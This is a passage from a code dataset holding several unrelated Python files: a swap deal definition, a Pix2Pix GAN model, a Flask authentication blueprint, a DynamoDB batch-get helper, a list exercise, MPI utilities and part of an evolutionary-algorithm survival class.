NoOverride\nfrom CompositeAttributesLib import CashFlowInstrumentDefinition, InstrumentPropertiesDefinition, InstrumentIDDefinition, LegDefinition, CashFlowDefinition, TradeDefinition, TradeBODefinition, AddInfoDefinition, InstrumentRegulatoryInfoDefinition, TradeIDDefinition, TradeRegulatoryInfoDefinition\nfrom DealSTI import DealSTI\n \n@DealSTI('TotalReturnSwap') \n@Settings(SheetDefaultColumns=['Multi Leg Label', 'Portfolio Present Value', 'Fixed Rate', 'Par Rate', 'Float Spread', 'Par Spread', 'Portfolio Delta Yield']) \nclass TotalReturnSwapDefinition(DealDefinition):\n\n ins = CashFlowInstrumentDefinition( instrument=\"Instrument\" )\n \n insProperties = InstrumentPropertiesDefinition( instrument=\"Instrument\" )\n \n insID = InstrumentIDDefinition( instrument=\"Instrument\")\n\n tradeID = TradeIDDefinition( trade=\"Trade\")\n\n insRegulatoryInfo = InstrumentRegulatoryInfoDefinition(insRegInfo=\"InstrumentRegulatoryInfo\")\n\n payLeg = LegDefinition( leg='PayLeg', trade='Trade' )\n \n recLeg = LegDefinition( leg='ReceiveLeg', trade='Trade' )\n \n payCashFlows = CashFlowDefinition( leg='PayLeg', trade='Trade')\n \n recCashFlows = CashFlowDefinition( leg='ReceiveLeg', trade='Trade')\n \n trade = TradeDefinition( trade='Trade', showBuySell=False )\n \n tradeBackOffice = TradeBODefinition ( trade='Trade' )\n \n insAddInfo = AddInfoDefinition( obj='Instrument' )\n \n tradeAddInfo = AddInfoDefinition( obj='Trade' )\n \n tradeRegulatoryInfo = TradeRegulatoryInfoDefinition(tradeRegInfo=\"TradeRegulatoryInfo\")\n\n # Attribute overrides\n def AttributeOverrides(self, overrideAccumulator):\n overrideAccumulator(\n {\n 'ins_currency': dict(onChanged='@OnInstrumentCurrencyChanged'),\n 'ins_discountingType': dict(visible='@DiscountingTypeVisible'),\n 'ins_dividendFactor': dict(label='Div Factor',\n visible='@DividendFactorVisible'),\n 'ins_quotation': dict(onChanged='@OnQuotationChanged',\n visible='@IsShowModeInstrumentDetail'),\n 'ins_settlementType': dict(label='Settlement'),\n 'insProperties_spotBankingDaysOffset': dict(onChanged='@OnInstrumentSpotDaysChanged'),\n 'payLeg_calculationPeriodDateRule': dict(visible='@RollOffsetVisible'),\n 'payLeg_currency': dict(label='',\n width=9),\n 'payLeg_dayCountMethod': dict(visible='@DayCountVisible'),\n 'payLeg_initialRate': dict(label='Initial Price',\n visible='@InitialPriceVisible',\n maxWidth=500),\n 'recLeg_calculationPeriodDateRule': dict(visible='@RollOffsetVisible'),\n 'recLeg_currency': dict(label='',\n width=9),\n 'recLeg_dayCountMethod': dict(visible='@DayCountVisible'),\n 'recLeg_initialRate': dict(label='Initial Price',\n visible='@InitialPriceVisible',\n maxWidth=500),\n 'recLeg_priceInterpretationType': dict(visible='@PriceInterpretationTypeVisible'),\n 'trade_premium': dict(visible=True),\n 'trade_price': dict(visible=True),\n 'trade_salesCoverViceVersaPrice': dict(visible=False),\n 'trade_suggestDiscountingType': dict(visible='@DiscountingTypeVisible'),\n }\n ) \n\n # Visible Callbacks\n def DiscountingTypeVisible(self, attributeName):\n return self.IsShowModeDetail() or self.Instrument().DiscountingType()\n \n def DayCountVisible(self, attributeName):\n if attributeName == 'payLeg_dayCountMethod':\n return self.IsShowModeDetail() or self.PayLeg().LegType() != 'Total Return'\n if attributeName == 'recLeg_dayCountMethod':\n return self.IsShowModeDetail() or self.ReceiveLeg().LegType() != 'Total Return'\n \n def DividendFactorVisible(self, attributeName):\n for leg in self.Instrument().Legs():\n if leg.LegType()=='Total Return' and leg.FloatRateReference():\n if leg.FloatRateReference().InsType() != 'Bond':\n return self.IsShowModeDetail()\n return False\n\n def InitialPriceVisible(self, attributeName):\n if attributeName == 'payLeg_initialRate':\n return self.PayLeg().LegType() == 'Total Return'\n if attributeName == 'recLeg_initialRate':\n return self.ReceiveLeg().LegType() == 'Total Return'\n \n def PriceInterpretationTypeVisible(self, attributeName):\n for leg in self.Instrument().Legs():\n if leg.LegType()=='Total Return' and leg.FloatRateReference():\n if leg.FloatRateReference().InsType() not in ['Stock', 'EquityIndex']:\n return self.IsShowModeDetail()\n return False\n \n def RollOffsetVisible(self, attributeName):\n if attributeName == 'payLeg_calculationPeriodDateRule':\n if self.PayLeg().LegType() != 'Total Return' and self.ReceiveLeg().LegType() == 'Total Return':\n return NoOverride\n if attributeName == 'recLeg_calculationPeriodDateRule':\n if self.ReceiveLeg().LegType() != 'Total Return' and self.PayLeg().LegType() == 'Total Return':\n return NoOverride\n \n \n # Util\n def InstrumentPanes(self):\n return 'CustomPanes_TotalReturnSwap'\n \n def TradePanes(self):\n return 'CustomPanes_TotalReturnSwapTrade'\n \n \ndef UpdateDefaultInstrument(ins):\n insDeco = acm.FBusinessLogicDecorator.WrapObject(ins)\n insDeco.UpdateLegFixedRateOrSpread()\n","sub_path":"Extensions/Deal Definitions/FPythonCode/TotalReturnSwap_DP.py","file_name":"TotalReturnSwap_DP.py","file_ext":"py","file_size_in_byte":6245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"12414271","text":"from typing import OrderedDict\nimport torch\nfrom torch.nn.modules.batchnorm import BatchNorm2d\nimport torch.nn as nn\nimport torch.optim as optim\nimport os\nimport torch.onnx\nimport functools\n\n\n# Pix2Pix model class [256 based]\nclass Pix2PixModel():\n def __init__(self, ckpt_dir, model_name,\n is_train=True, n_epochs=100, \n n_epochs_decay=100):\n super(Pix2PixModel, self).__init__()\n self.isTrain = is_train\n # self.training = self.isTrain\n self.save_dir = ckpt_dir\n self.loss_names = ['G_GAN', 'G_L1', 'D_real', 'D_fake']\n self.visual_names = ['real_A', 'fake_B', 'real_B']\n if self.isTrain:\n self.model_names = ['G', 'D']\n else:\n self.model_names = ['G']\n self.optimizers = []\n self.epoch_count = 1\n self.n_epochs = n_epochs\n self.n_epochs_decay = n_epochs_decay\n \n self.device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n norm_layer = functools.partial(nn.BatchNorm2d, affine=True, track_running_stats=True)\n # Define the Generator\n self.netG = Generator(3, 3, 8, ngf=64, norm_layer=norm_layer, use_dropout=False)\n self.netG = init_net(self.netG)\n\n # Define the Discriminator if training\n if self.isTrain:\n self.criterionLoss = nn.L1Loss()\n #self.netD = Discriminator(6, ndf=64, n_layers=3, norm_layer=norm_layer)\n self.netD = Discriminator(6)\n self.netD = init_net(self.netD)\n \n if self.isTrain:\n self.criterionGAN = GANLoss().to(self.device)\n self.criterionL1 = nn.L1Loss()\n self.optimizer_G = optim.Adam(self.netG.parameters(), lr=0.0002, betas=(0.5, 0.999))\n self.optimizer_D = optim.Adam(self.netD.parameters(), lr=0.0002, betas=(0.5, 0.999))\n self.optimizers.append(self.optimizer_G)\n self.optimizers.append(self.optimizer_D)\n \n def set_input(self, input):\n self.real_A = input['A'].to(self.device)\n self.real_B = input['B'].to(self.device)\n self.image_paths = input['A_paths']\n \n def forward(self):\n self.fake_B = self.netG(self.real_A)\n \n def backward_D(self):\n fake_AB = torch.cat((self.real_A, self.fake_B), 1)\n pred_fake = self.netD(fake_AB.detach())\n self.loss_D_fake = self.criterionGAN(pred_fake, False)\n \n real_AB = torch.cat((self.real_A, self.real_B), 1)\n pred_real = self.netD(real_AB)\n self.loss_D_real = self.criterionGAN(pred_real, True)\n\n self.loss_D = (self.loss_D_fake + self.loss_D_real) * 0.5\n self.loss_D.backward()\n \n def backward_G(self):\n fake_AB = torch.cat((self.real_A, self.fake_B), 1)\n pred_fake = self.netD(fake_AB)\n self.loss_G_GAN = self.criterionGAN(pred_fake, True)\n\n self.loss_G_L1 = self.criterionL1(self.fake_B, self.real_B) * 100.0\n\n self.loss_G = self.loss_G_GAN + self.loss_G_L1\n self.loss_G.backward()\n \n def set_requires_grad(self, nets, requires_grad=False):\n if not isinstance(nets, list):\n nets = [nets]\n for net in nets:\n if net is not None:\n for param in net.parameters():\n param.requires_grad = requires_grad\n\n def optimize_parameters(self):\n self.forward()\n\n self.set_requires_grad(self.netD, True)\n self.optimizer_D.zero_grad()\n self.backward_D()\n self.optimizer_D.step()\n\n self.set_requires_grad(self.netD, False)\n self.optimizer_G.zero_grad()\n self.backward_G()\n self.optimizer_G.step()\n \n def get_scheduler(self, optimizer):\n def lambda_rule(epoch):\n lr_l = 1.0 - max(0, epoch + self.epoch_count - self.n_epochs) / float(self.n_epochs_decay + 1)\n return lr_l\n scheduler = optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lambda_rule)\n return scheduler\n\n def setup(self):\n if self.isTrain:\n self.schedulers = [self.get_scheduler(optimizer) for optimizer in self.optimizers]\n \n self.print_networks()\n \n def eval(self):\n for name in self.model_names:\n if isinstance(name, str):\n net = getattr(self, 'net' + name)\n net.eval()\n\n def test(self):\n with torch.no_grad():\n self.forward()\n\n def get_image_paths(self):\n return self.image_paths\n\n def update_learning_rate(self):\n for scheduler in self.schedulers:\n scheduler.step()\n\n def get_current_visuals(self):\n visual_ret = OrderedDict()\n for name in self.visual_names:\n if isinstance(name, str):\n visual_ret[name] = getattr(self, name)\n return visual_ret\n\n def get_current_losses(self):\n errors_ret = OrderedDict()\n for name in self.loss_names:\n if isinstance(name, str):\n errors_ret[name] = float(getattr(self, 'loss_' + name))\n return errors_ret\n\n def save_network(self, epoch):\n for name in self.model_names:\n if isinstance(name, str):\n save_filename = '%s_net_%s.pth' % (epoch, name)\n save_path = os.path.join(self.save_dir, save_filename)\n net = getattr(self, 'net' + name)\n\n torch.save(net.cpu().state_dict(), save_path)\n net.to(self.device)\n \n def __patch_instance_norm_state_dict(self, state_dict, module, keys, i=0):\n key = keys[i]\n if i + 1 == len(keys):\n if module.__class__.__name__.startswith('InstanceNorm') and \\\n (key == 'running_mean' or key == 'running_var'):\n if getattr(module, key) is None:\n state_dict.pop('.'.join(keys))\n \n if module.__class__.__name__.startswith('InstanceNorm') and \\\n (key == 'running_mean' or key == 'running_var'):\n state_dict.pop('.'.join(keys))\n else:\n self.__patch_instance_norm_state_dict(state_dict, getattr(module, key), keys, i + 1)\n\n def load_networks(self, epoch):\n for name in self.model_names:\n if isinstance(name, str):\n load_filename = '%s_net_%s.pth' % (epoch, name)\n load_path = os.path.join(self.save_dir, load_filename)\n net = getattr(self, 'net' + name)\n if isinstance(net, nn.DataParallel):\n net = net.module\n print('Loading the model from %s' % load_path)\n\n state_dict = torch.load(load_path, map_location=str(self.device))\n if hasattr(state_dict, '_metadata'):\n del state_dict._metadata\n \n for key in list(state_dict.keys()):\n self.__patch_instance_norm_state_dict(state_dict, net, key.split('.'))\n net.load_state_dict(state_dict)\n\n def print_networks(self):\n print('---------- Networks initialized -------------')\n for name in self.model_names:\n if isinstance(name, str):\n net = getattr(self, 'net' + name)\n num_params = 0\n for param in net.parameters():\n num_params += param.numel()\n print('[Network %s] Total number of parameters : %.3f M' % (name, num_params / 1e6))\n \n # def train(self, is_training):\n # pass\n \nclass UnetBlock(nn.Module):\n def __init__(self, outer_nc, inner_nc, input_nc=None,\n submodule=None, outermost=False, innermost=False,\n norm_layer=nn.BatchNorm2d, use_dropout=False):\n super(UnetBlock, self).__init__()\n self.outermost = outermost\n if type(norm_layer) == functools.partial:\n use_bias = norm_layer.func == nn.InstanceNorm2d\n else:\n use_bias = norm_layer == nn.InstanceNorm2d\n if input_nc is None:\n input_nc = outer_nc\n \n downconv = nn.Conv2d(input_nc, inner_nc, kernel_size=4,\n stride=2, padding=1, bias=use_bias)\n downrelu = nn.LeakyReLU(0.2, True)\n downnorm = norm_layer(inner_nc)\n\n uprelu = nn.ReLU(True)\n upnorm = norm_layer(outer_nc)\n\n if outermost:\n upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc,\n kernel_size=4, stride=2,\n padding=1)\n \n down = [downconv]\n up = [uprelu, upconv, nn.Tanh()]\n model = down + [submodule] + up\n \n elif innermost:\n upconv = nn.ConvTranspose2d(inner_nc, outer_nc, kernel_size=4,\n stride=2, padding=1, bias=use_bias)\n \n down = [downrelu, downconv]\n up = [uprelu, upconv, upnorm]\n model = down + up\n \n else:\n upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc,\n kernel_size=4, stride=2,\n padding=1, bias=use_bias)\n\n down = [downrelu, downconv, downnorm]\n up = [uprelu, upconv, upnorm]\n \n if use_dropout:\n model = down + [submodule] + up + [nn.Dropout(0.5)]\n else:\n model = down + [submodule] + up\n \n self.model = nn.Sequential(*model)\n \n def forward(self, x):\n if self.outermost:\n return self.model(x)\n else:\n return torch.cat([x, self.model(x)], 1)\n\nclass Generator(nn.Module):\n def __init__(self, input_nc, output_nc, num_downs, ngf=64,\n norm_layer=nn.BatchNorm2d, use_dropout=False):\n super(Generator, self).__init__()\n unet_block = UnetBlock(ngf * 8, ngf * 8, input_nc=None,\n submodule=None, norm_layer=norm_layer,\n innermost=True)\n \n for i in range(num_downs - 5):\n unet_block = UnetBlock(ngf * 8, ngf * 8, input_nc=None, \n submodule=unet_block, norm_layer=norm_layer,\n use_dropout=use_dropout)\n \n unet_block = UnetBlock(ngf * 4, ngf * 8, input_nc=None,\n submodule=unet_block, norm_layer=norm_layer)\n \n unet_block = UnetBlock(ngf * 2, ngf * 4, input_nc=None,\n submodule=unet_block, norm_layer=norm_layer)\n \n unet_block = UnetBlock(ngf, ngf * 2, input_nc=None,\n submodule=unet_block, norm_layer=norm_layer)\n\n self.model = UnetBlock(output_nc, ngf, input_nc=input_nc, \n submodule=unet_block, \n outermost=True, norm_layer=norm_layer)\n \n\n def forward(self, input):\n return self.model(input)\n\nclass Discriminator(nn.Module):\n def __init__(self, input_nc, ndf=64, n_layers=3, norm_layer=nn.BatchNorm2d):\n super(Discriminator, self).__init__()\n if type(norm_layer) == functools.partial:\n use_bias = norm_layer.func == nn.InstanceNorm2d\n else:\n use_bias = norm_layer == nn.InstanceNorm2d\n \n kw = 4\n padw = 1\n sequence = [nn.Conv2d(input_nc, ndf, kernel_size=kw, stride=2, padding=padw), \n nn.LeakyReLU(0.2, True)]\n \n nf_mult = 1\n nf_mult_prev = 1\n \n for n in range(1, n_layers):\n nf_mult_prev = nf_mult\n nf_mult = min(2 ** n, 8)\n\n sequence += [nn.Conv2d(ndf * nf_mult_prev, ndf * nf_mult,\n kernel_size=kw, stride=2, padding=padw, bias=use_bias),\n norm_layer(ndf * nf_mult),\n nn.LeakyReLU(0.2, True)]\n\n nf_mult_prev = nf_mult\n nf_mult = min(2 ** n, 8) # type: ignore\n\n sequence += [\n nn.Conv2d(ndf * nf_mult_prev, ndf * nf_mult, kernel_size=kw, stride=1,\n padding=padw, bias=use_bias),\n norm_layer(ndf * nf_mult),\n nn.LeakyReLU(0.2, True)\n ]\n\n sequence += [nn.Conv2d(ndf * nf_mult, 1, kernel_size=kw, stride=1, padding=padw)]\n self.model = nn.Sequential(*sequence)\n \n def forward(self, input):\n return self.model(input)\n\nclass GANLoss(nn.Module):\n def __init__(self, target_real_label=1.0, target_fake_label=0.0):\n super(GANLoss, self).__init__()\n self.register_buffer('real_label', torch.tensor(target_real_label))\n self.register_buffer('fake_label', torch.tensor(target_fake_label))\n\n self.gan_mode = 'vanilla'\n self.loss = nn.BCEWithLogitsLoss()\n \n def get_target_tensor(self, prediction, target_is_real):\n if target_is_real:\n target_tensor = self.real_label\n else:\n target_tensor = self.fake_label\n return target_tensor.expand_as(prediction)\n \n def __call__(self, prediction, target_is_real):\n target_tensor = self.get_target_tensor(prediction, target_is_real)\n loss = self.loss(prediction, target_tensor)\n\n return loss\n\ndef init_net(net):\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n net.to(device)\n\n def init_weights(m):\n classname = m.__class__.__name__\n if hasattr(m, 'weight') and (classname.find('Conv') != -1 or classname.find('Linear') != -1):\n nn.init.normal_(m.weight.data, 0.0, 0.02)\n if hasattr(m, 'bias') and m.bias is not None:\n nn.init.constant_(m.bias.data, 0.0)\n\n elif classname.find('BatchNorm2d') != -1:\n nn.init.normal_(m.weight.data, 1.0, 0.02)\n nn.init.constant_(m.bias.data, 0.0)\n \n net.apply(init_weights)\n return net\n","sub_path":"Pix2Pix_Project/pix2pix_helpers/pix2pix_model.py","file_name":"pix2pix_model.py","file_ext":"py","file_size_in_byte":14029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"440974174","text":"from datetime import datetime\nfrom datetime import timedelta\nfrom email_validator import validate_email\nfrom email_validator import EmailNotValidError\nfrom flask import current_app as app\nfrom flask import request\nfrom flask import Blueprint\n#\nfrom social_network import db\nfrom social_network.security import hash_password\nfrom social_network.security import compare_passwords\nfrom social_network.security import generate_jwt\nfrom social_network.security import parse_user_agent\nfrom social_network.security import generate_refresh_token\nfrom social_network.security import jwt_auth\nfrom social_network.other import record_activity\nfrom social_network.errors import ApplicationError\nfrom social_network.domain_models import User\nfrom social_network.domain_models import UserProfile\nfrom social_network.domain_models import RefreshToken\n\nfrom .payload_models import UserSignupPayload\nfrom .payload_models import UserSigninPayload\nfrom .payload_models import RefreshTokenPayload\n\n\napi = Blueprint(\"auth\", __name__)\n\n\n@api.route(\"/api/email-lookup\", methods=[\"GET\"])\n@record_activity()\ndef email_lookup(*args, **kwargs):\n try:\n user_email = validate_email(request.args[\"email\"]).email\n except EmailNotValidError:\n return {\"value\": False}\n\n user = (\n db.session.query(User)\n .filter(User.email==user_email)\n .filter(User.deleted_at.is_(None))\n .first()\n )\n\n return (\n {\"status\": \"ok\", \"value\": False}\n if user is None else\n {\"status\": \"ok\", \"value\": True}\n )\n\n\n@api.route(\"/api/signup\", methods=[\"POST\"])\n@record_activity()\ndef signup(*args, **kwargs):\n now = datetime.now()\n user_payload = UserSignupPayload(**request.get_json())\n\n # === does the user with the received email exist ===\n\n existing_user = (\n db.session.query(User)\n .filter(User.email==user_payload.email)\n .filter(User.deleted_at.is_(None))\n .first()\n )\n\n if existing_user is not None:\n raise ApplicationError(\n f\"User with email - {user_payload.email} - already exist!\",\n code=400\n )\n\n # === hashing password and creating new user ===\n\n hashed_passw = hash_password(user_payload.password.get_secret_value())\n\n new_user = User(\n email=user_payload.email,\n password=hashed_passw,\n created_at=now\n )\n new_user.profile = UserProfile(\n first_name = user_payload.first_name,\n last_name = user_payload.last_name,\n full_name = f\"{user_payload.first_name} {user_payload.last_name}\",\n sex = user_payload.sex,\n country = user_payload.country,\n city = user_payload.city,\n birthday = user_payload.birthday,\n phone = user_payload.phone,\n created_at = now\n )\n\n db.session.add(new_user)\n db.session.commit()\n\n return {\"status\": \"ok\", \"value\": new_user.id}\n\n\n@api.route(\"/api/signin\", methods=[\"POST\"])\n@record_activity()\ndef signin(*args, **kwargs):\n ua_header = request.headers.get(\"User-Agent\", \"\")\n user_agent = parse_user_agent(ua_header)\n\n signin_payload = UserSigninPayload(**request.get_json())\n\n # === does the user with the received email exist ===\n\n user = (\n db.session.query(User)\n .filter(User.email==signin_payload.email)\n .filter(User.deleted_at.is_(None))\n .first()\n )\n \n if user is None:\n raise ApplicationError(\n f\"Access denied. User with email - {signin_payload.email} - does not exist!\",\n code=403\n )\n\n # === \n\n if compare_passwords(signin_payload.password.get_secret_value(), user.password):\n\n # the password is correct; generating jwt and refresh tokens\n \n now = datetime.now()\n jwt_token_ttl = app.config[\"JWT_TOKEN_POLICY\"][\"TOKEN_EXPIRES_IN\"]\n refresh_token_ttl = app.config[\"JWT_TOKEN_POLICY\"][\"REFRESH_TOKEN_EXPIRES_IN\"]\n jwt_token_expires_at = now + timedelta(seconds=jwt_token_ttl)\n refresh_token_expires_at = now + timedelta(seconds=refresh_token_ttl)\n\n refresh_token = RefreshToken(\n token=generate_refresh_token(),\n exp=refresh_token_expires_at,\n os=user_agent[\"os\"],\n device=user_agent[\"device\"],\n browser=user_agent[\"browser\"],\n created_at=now\n )\n\n db.session.add(refresh_token)\n db.session.commit()\n\n jwt_payload = {\n \"usrid\": user.id,\n \"usrrole\": user.security_role,\n \"exp\": jwt_token_expires_at,\n **user_agent\n }\n jwt_token = generate_jwt(\n jwt_payload,\n app.config[\"JWT_TOKEN_POLICY\"]\n )\n\n return {\n \"token\": jwt_token,\n \"refresh_token\": refresh_token.token,\n \"expires_at\": int(jwt_token_expires_at.timestamp() * 1000),\n \"refresh_token_expires_at\": int(refresh_token_expires_at.timestamp() * 1000)\n }, 200\n\n else:\n raise ApplicationError(\n \"Access denied. Inccorrect password\",\n code=403\n )\n\n\n@api.route(\"/api/refresh-token\", methods=[\"POST\"])\n@jwt_auth(can_be_expired=True)\n@record_activity()\ndef refresh_jwt_token(*args, **kwargs):\n now = datetime.now()\n\n user = kwargs[\"user\"] # from the jwt_auth decorator\n user_agent = kwargs[\"user_agent\"] # from the jwt_auth decorator\n token_payload = RefreshTokenPayload(**request.get_json())\n\n # === does the refresh token exist in db ===\n\n refresh_token = (\n db.session.query(RefreshToken)\n .filter(RefreshToken.token == token_payload.refresh_token.get_secret_value())\n .filter(RefreshToken.deleted_at.is_(None))\n .first()\n )\n\n if refresh_token is None:\n raise ApplicationError(\"Invalid refresh token\", code=403)\n\n # === is the refresh token expired ===\n\n if refresh_token.exp < now:\n refresh_token.deleted_at = now\n db.session.commit()\n raise ApplicationError(\"Refresh token expired\", code=403)\n\n # === generating new jwt token ===\n\n jwt_token_ttl = app.config[\"JWT_TOKEN_POLICY\"][\"TOKEN_EXPIRES_IN\"]\n jwt_token_expires_at = now + timedelta(seconds=jwt_token_ttl)\n\n jwt_payload = {\n \"usrid\": user.id,\n \"usrrole\": user.security_role,\n \"exp\": jwt_token_expires_at,\n **user_agent\n }\n jwt_token = generate_jwt(\n jwt_payload,\n app.config[\"JWT_TOKEN_POLICY\"]\n )\n\n return {\n \"token\": jwt_token,\n \"expires_at\": int(jwt_token_expires_at.timestamp() * 1000),\n }, 200\n","sub_path":"src/social_network/blueprints/auth/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":6566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"645960737","text":"#__author__ = 'lizhifeng'\n#coding=utf-8\n\nfrom aws4_signature import GetDynamodbClient\n# from utility import binary2string\n\n\ndef batch_get(client, pid_pn, table_name, table_range_name=\"\", table_key_name=\"patent_id\",\n fields_type=None, table_range=\"\", batch=10):\n _request = {table_name: {}}\n _request[table_name][\"Keys\"] = []\n if len(fields_type) != 0:\n project_expression = \",\".join(fields_type)\n _request[table_name][\"ProjectionExpression\"] = project_expression\n\n rlt = []\n\n i = 0\n count = 0\n patent_num = len(pid_pn)\n patent_ids = pid_pn.keys()\n for patent_id in patent_ids:\n\n key_dict = {table_key_name: {}}\n key_dict[table_key_name][\"S\"] = patent_id\n\n _request[table_name][\"Keys\"].append(key_dict)\n if table_range != \"\":\n _request[table_name][\"Keys\"][i][\"lang\"] = {\"S\": range}\n\n i += 1\n count += 1\n\n if i == batch or count == patent_num:\n\n # print _request\n _response = client.batch_get_item(RequestItems=_request)\n rlt.append(_response)\n\n # parse_batch_get(_response, rlt, table_name, table_range_name, table_key_name, fields_type)\n\n i = 0\n _request[table_name][\"Keys\"] = []\n\n return rlt\n\n\ndef parse_batch_get(response, rlt, table_name, table_range_name=\"\", table_key=\"patent_id\", field_type_dict=\"\"):\n\n _fields = field_type_dict.keys()\n for item in response[\"Responses\"][table_name]:\n\n _key = item[table_key][\"S\"]\n if table_range_name != \"\":\n _range = item[table_range_name][\"S\"]\n _key += _range\n\n for _field in _fields:\n _type = field_type_dict[_field]\n _content = item[_field][_type]\n rlt[_field][_key] = _content\n\n","sub_path":"collection/ml/landscape/dynamodb_api.py","file_name":"dynamodb_api.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"460937427","text":"from functools import reduce\n\nwhile True:\n unique = None\n non_unique = None\n p = ''\n p2 = ''\n\n my_list1 = input()\n if my_list1 == 'stop playing':\n break\n my_list = list(map(int, my_list1.split()))\n\n if len(my_list) > len(set(my_list)):\n non_unique = my_list\n for a in range(0, len(non_unique)):\n if non_unique[a] % 2 != 0:\n non_unique[a] += 3\n non_unique.sort()\n for n in non_unique:\n p += str(n)\n p += ':'\n p1 = p[:-1]\n print(f'Non-unique list: {p1}')\n sum = reduce(lambda x, y: x + y, non_unique)\n sum1 = sum / len(non_unique)\n print(f'Output: {sum1:.2f}')\n else:\n unique = my_list\n for b in range(0, len(unique)):\n if unique[b] % 2 == 0:\n unique[b] += 2\n unique.sort()\n for n in unique:\n p2 += str(n)\n p2 += ','\n p3 = p2[:-1]\n print(f'Unique list: {p3}')\n sum3 = reduce(lambda x, y: x + y, unique)\n sum4 = sum3 / len(unique)\n print(f'Output: {sum4:.2f}')\n\n\n\n\n\n\n\n","sub_path":"PythonFundamentals/Exam_Prep_2/Lists.py","file_name":"Lists.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"358925703","text":"\"\"\"\nAuxillary functions and variables for dealing with MPI multiprocessing\n\nWarning:\n These functions are mostly no-ops unless MPI is properly installed and python code\n was started using :code:`mpirun` or :code:`mpiexec`. Please refer to the\n documentation of your MPI distribution for details.\n\n.. autosummary::\n :nosignatures:\n\n mpi_send\n mpi_recv\n mpi_allreduce\n\n.. codeauthor:: David Zwicker \n\"\"\"\n\nimport os\nimport sys\nfrom numbers import Number\nfrom typing import TYPE_CHECKING, Union\n\nimport numpy as np\nfrom numba.core import types\nfrom numba.extending import overload, register_jitable\n\nfrom .numba import jit\n\nif TYPE_CHECKING:\n from numba_mpi import Operator # @UnusedImport\n\n# Initialize assuming that we run serial code if `numba_mpi` is not available\ninitialized: bool = False\n\"\"\"bool: Flag determining whether mpi was initialized (and is available)\"\"\"\n\nsize: int = 1\n\"\"\"int: Total process count\"\"\"\n\nrank: int = 0\n\"\"\"int: ID of the current process\"\"\"\n\n# read state of the current MPI node\ntry:\n import numba_mpi\n\nexcept ImportError:\n # package `numba_mpi` could not be loaded\n if int(os.environ.get(\"PMI_SIZE\", \"1\")) > 1:\n # environment variable indicates that we are in a parallel program\n sys.exit(\n \"WARNING: Detected multiprocessing run, but could not import python \"\n \"package `numba_mpi`\"\n )\n\nelse:\n # we have access to MPI\n initialized = numba_mpi.initialized()\n size = numba_mpi.size()\n rank = numba_mpi.rank()\n\nparallel_run: bool = size > 1\n\"\"\"bool: Flag indicating whether the current run is using multiprocessing\"\"\"\n\nis_main: bool = rank == 0\n\"\"\"bool: Flag indicating whether the current process is the main process (with ID 0)\"\"\"\n\n\n@jit\ndef mpi_send(data, dest: int, tag: int) -> None:\n \"\"\"send data to another MPI node\n\n Args:\n data: The data being send\n dest (int): The ID of the receiving node\n tag (int): A numeric tag identifying the message\n \"\"\"\n status = numba_mpi.send(data, dest, tag)\n assert status == 0\n\n\n@jit()\ndef mpi_recv(data, source, tag) -> None:\n \"\"\"receive data from another MPI node\n\n Args:\n data: A buffer into which the received data is written\n dest (int): The ID of the sending node\n tag (int): A numeric tag identifying the message\n\n \"\"\"\n status = numba_mpi.recv(data, source, tag)\n assert status == 0\n\n\n@register_jitable\ndef _allreduce(sendobj, recvobj, operator: Union[int, \"Operator\", None] = None) -> int:\n \"\"\"helper function that calls `numba_mpi.allreduce`\"\"\"\n if operator is None:\n return numba_mpi.allreduce(sendobj, recvobj) # type: ignore\n else:\n return numba_mpi.allreduce(sendobj, recvobj, operator) # type: ignore\n\n\ndef mpi_allreduce(data, operator: Union[int, \"Operator\", None] = None):\n \"\"\"combines data from all MPI nodes\n\n Note that complex datatypes and user-defined functions are not properly supported.\n\n Args:\n data:\n Data being send from this node to all others\n operator:\n The operator used to combine all data. Possible options are summarized in\n the IntEnum :class:`numba_mpi.Operator`.\n\n Returns:\n The accumulated data\n \"\"\"\n from mpi4py import MPI\n\n if isinstance(data, Number):\n # reduce a single number\n sendobj = np.array([data])\n recvobj = np.empty((1,), sendobj.dtype)\n status = _allreduce(sendobj, recvobj, operator)\n if status != 0:\n raise MPI.Exception(status)\n return recvobj[0]\n\n elif isinstance(data, np.ndarray):\n # reduce an array\n recvobj = np.empty(data.shape, data.dtype)\n status = _allreduce(data, recvobj, operator)\n if status != 0:\n raise MPI.Exception(status)\n return recvobj\n\n else:\n raise TypeError(f\"Unsupported type {data.__class__.__name__}\")\n\n\n@overload(mpi_allreduce)\ndef ol_mpi_allreduce(data, operator: Union[int, \"Operator\", None] = None):\n \"\"\"overload the `mpi_allreduce` function\"\"\"\n\n if isinstance(data, types.Number):\n\n def impl(data, operator=None):\n \"\"\"reduce a single number across all cores\"\"\"\n sendobj = np.array([data])\n recvobj = np.empty((1,), sendobj.dtype)\n status = _allreduce(sendobj, recvobj, operator)\n assert status == 0\n return recvobj[0]\n\n elif isinstance(data, types.Array):\n\n def impl(data, operator=None):\n \"\"\"reduce an array across all cores\"\"\"\n recvobj = np.empty(data.shape, data.dtype)\n status = _allreduce(data, recvobj, operator)\n assert status == 0\n return recvobj\n\n else:\n raise TypeError(f\"Unsupported type {data.__class__.__name__}\")\n\n return impl\n","sub_path":"pde/tools/mpi.py","file_name":"mpi.py","file_ext":"py","file_size_in_byte":4840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"505506156","text":"from abc import abstractmethod\n\nimport numpy as np\n\n\nclass Survival:\n \"\"\"\n The survival process is implemented inheriting from this class, which selects from a population only\n specific individuals to survive.\n \"\"\"\n\n def __init__(self) -> None:\n super().__init__()\n\n def do(self, pop, n_survive, **kwargs):\n self._do(pop, n_survive, **kwargs)\n\n @abstractmethod\n def _do(self, pop, n_survive, 